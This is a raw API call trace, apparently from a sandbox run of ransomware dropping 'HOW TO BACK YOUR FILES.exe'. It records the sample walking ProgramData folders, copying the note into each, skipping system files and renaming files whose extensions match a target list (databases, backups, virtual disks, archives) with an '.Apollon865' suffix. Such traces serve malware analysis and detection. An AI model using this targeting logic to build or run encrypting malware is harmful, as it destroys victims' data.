	[0051.059] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.059] CloseHandle (hObject=0x0) returned 0
	[0051.059] CloseHandle (hObject=0x0) returned 0
	[0051.059] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0051.059] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.059] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0051.059] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0051.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0051.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0051.059] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 87
	[0051.059] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0051.059] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.059] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.060] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.060] GetLastError () returned 0x0
	[0051.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.060] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.060] CloseHandle (hObject=0x15c) returned 1
	[0051.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.060] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.060] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.060] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.060] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.060] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.060] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.060] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.060] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd82e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.060] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.060] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0051.060] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="windows") returned -1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="bootmgr") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="temp") returned -1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="pagefile.sys") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="boot") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="ids.txt") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="ntuser.dat") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="perflogs") returned 1
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2="MSBuild") returned 1
	[0051.061] lstrlenW (lpString="resource.xml") returned 12
	[0051.061] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned 89
	[0051.061] lstrcpyW (in: lpString1=0x2d3e600, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0051.061] lstrlenW (lpString="resource.xml") returned 12
	[0051.061] lstrlenW (lpString="Apollon865") returned 10
	[0051.061] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0051.061] lstrlenW (lpString=".dll") returned 4
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0051.061] lstrlenW (lpString=".lnk") returned 4
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0051.061] lstrlenW (lpString=".ini") returned 4
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0051.061] lstrlenW (lpString=".sys") returned 4
	[0051.061] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0051.061] lstrlenW (lpString="resource.xml") returned 12
	[0051.061] lstrlenW (lpString="bak") returned 3
	[0051.061] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0051.061] lstrlenW (lpString="ba_") returned 3
	[0051.061] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0051.061] lstrlenW (lpString="dbb") returned 3
	[0051.061] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0051.062] lstrlenW (lpString="vmdk") returned 4
	[0051.062] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0051.062] lstrlenW (lpString="rar") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0051.062] lstrlenW (lpString="zip") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0051.062] lstrlenW (lpString="tgz") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0051.062] lstrlenW (lpString="vbox") returned 4
	[0051.062] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0051.062] lstrlenW (lpString="vdi") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0051.062] lstrlenW (lpString="vhd") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0051.062] lstrlenW (lpString="vhdx") returned 4
	[0051.062] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0051.062] lstrlenW (lpString="avhd") returned 4
	[0051.062] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0051.062] lstrlenW (lpString="db") returned 2
	[0051.062] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.062] lstrlenW (lpString="db2") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0051.062] lstrlenW (lpString="db3") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0051.062] lstrlenW (lpString="dbf") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0051.062] lstrlenW (lpString="mdf") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0051.062] lstrlenW (lpString="mdb") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0051.062] lstrlenW (lpString="sql") returned 3
	[0051.062] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0051.062] lstrlenW (lpString="sqlite") returned 6
	[0051.062] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0051.063] lstrlenW (lpString="sqlite3") returned 7
	[0051.063] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0051.063] lstrlenW (lpString="sqlitedb") returned 8
	[0051.063] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0051.063] lstrlenW (lpString="xml") returned 3
	[0051.063] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0051.063] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.Apollon865") returned 111
	[0051.063] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.063] GetLastError () returned 0x5
	[0051.063] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 129
	[0051.063] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 129
	[0051.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.063] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17ac
	[0051.063] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x81, lpOverlapped=0x0) returned 1
	[0051.063] CloseHandle (hObject=0x14c) returned 1
	[0051.063] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.063] CloseHandle (hObject=0x0) returned 0
	[0051.064] CloseHandle (hObject=0x0) returned 0
	[0051.064] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0051.064] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.064] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0051.064] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0051.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0051.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.064] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0051.064] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0051.064] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.064] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.064] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.064] GetLastError () returned 0x0
	[0051.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.064] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.065] CloseHandle (hObject=0x15c) returned 1
	[0051.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.065] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.065] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.065] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.065] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.065] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.065] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.065] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.065] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.065] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.065] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.065] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0051.065] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0051.066] lstrlenW (lpString="en-US") returned 5
	[0051.066] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 83
	[0051.066] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0051.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5c8f30
	[0051.066] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0051.066] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="windows") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="bootmgr") returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="temp") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="pagefile.sys") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="boot") returned 1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="ids.txt") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="ntuser.dat") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="perflogs") returned -1
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2="MSBuild") returned -1
	[0051.066] lstrlenW (lpString="folder.ico") returned 10
	[0051.066] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 87
	[0051.066] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0051.066] lstrlenW (lpString="folder.ico") returned 10
	[0051.066] lstrlenW (lpString="Apollon865") returned 10
	[0051.066] lstrlenW (lpString=".dll") returned 4
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0051.066] lstrlenW (lpString=".lnk") returned 4
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0051.066] lstrlenW (lpString=".ini") returned 4
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0051.066] lstrlenW (lpString=".sys") returned 4
	[0051.066] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0051.067] lstrlenW (lpString="folder.ico") returned 10
	[0051.067] lstrlenW (lpString="bak") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0051.067] lstrlenW (lpString="ba_") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0051.067] lstrlenW (lpString="dbb") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0051.067] lstrlenW (lpString="vmdk") returned 4
	[0051.067] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0051.067] lstrlenW (lpString="rar") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0051.067] lstrlenW (lpString="zip") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0051.067] lstrlenW (lpString="tgz") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0051.067] lstrlenW (lpString="vbox") returned 4
	[0051.067] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0051.067] lstrlenW (lpString="vdi") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0051.067] lstrlenW (lpString="vhd") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0051.067] lstrlenW (lpString="vhdx") returned 4
	[0051.067] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0051.067] lstrlenW (lpString="avhd") returned 4
	[0051.067] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0051.067] lstrlenW (lpString="db") returned 2
	[0051.067] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0051.067] lstrlenW (lpString="db2") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0051.067] lstrlenW (lpString="db3") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0051.067] lstrlenW (lpString="dbf") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0051.067] lstrlenW (lpString="mdf") returned 3
	[0051.067] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0051.068] lstrlenW (lpString="mdb") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0051.068] lstrlenW (lpString="sql") returned 3
	[0051.068] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0051.068] lstrlenW (lpString="sqlite") returned 6
	[0051.068] lstrcmpiW (lpString1="er.ico", lpString2="sqlite") returned -1
	[0051.068] lstrlenW (lpString="sqlite3") returned 7
	[0051.068] lstrcmpiW (lpString1="der.ico", lpString2="sqlite3") returned -1
	[0051.068] lstrlenW (lpString="sqlitedb") returned 8
	[0051.068] lstrcmpiW (lpString1="lder.ico", lpString2="sqlitedb") returned -1
	[0051.068] lstrlenW (lpString="xml") returned 3
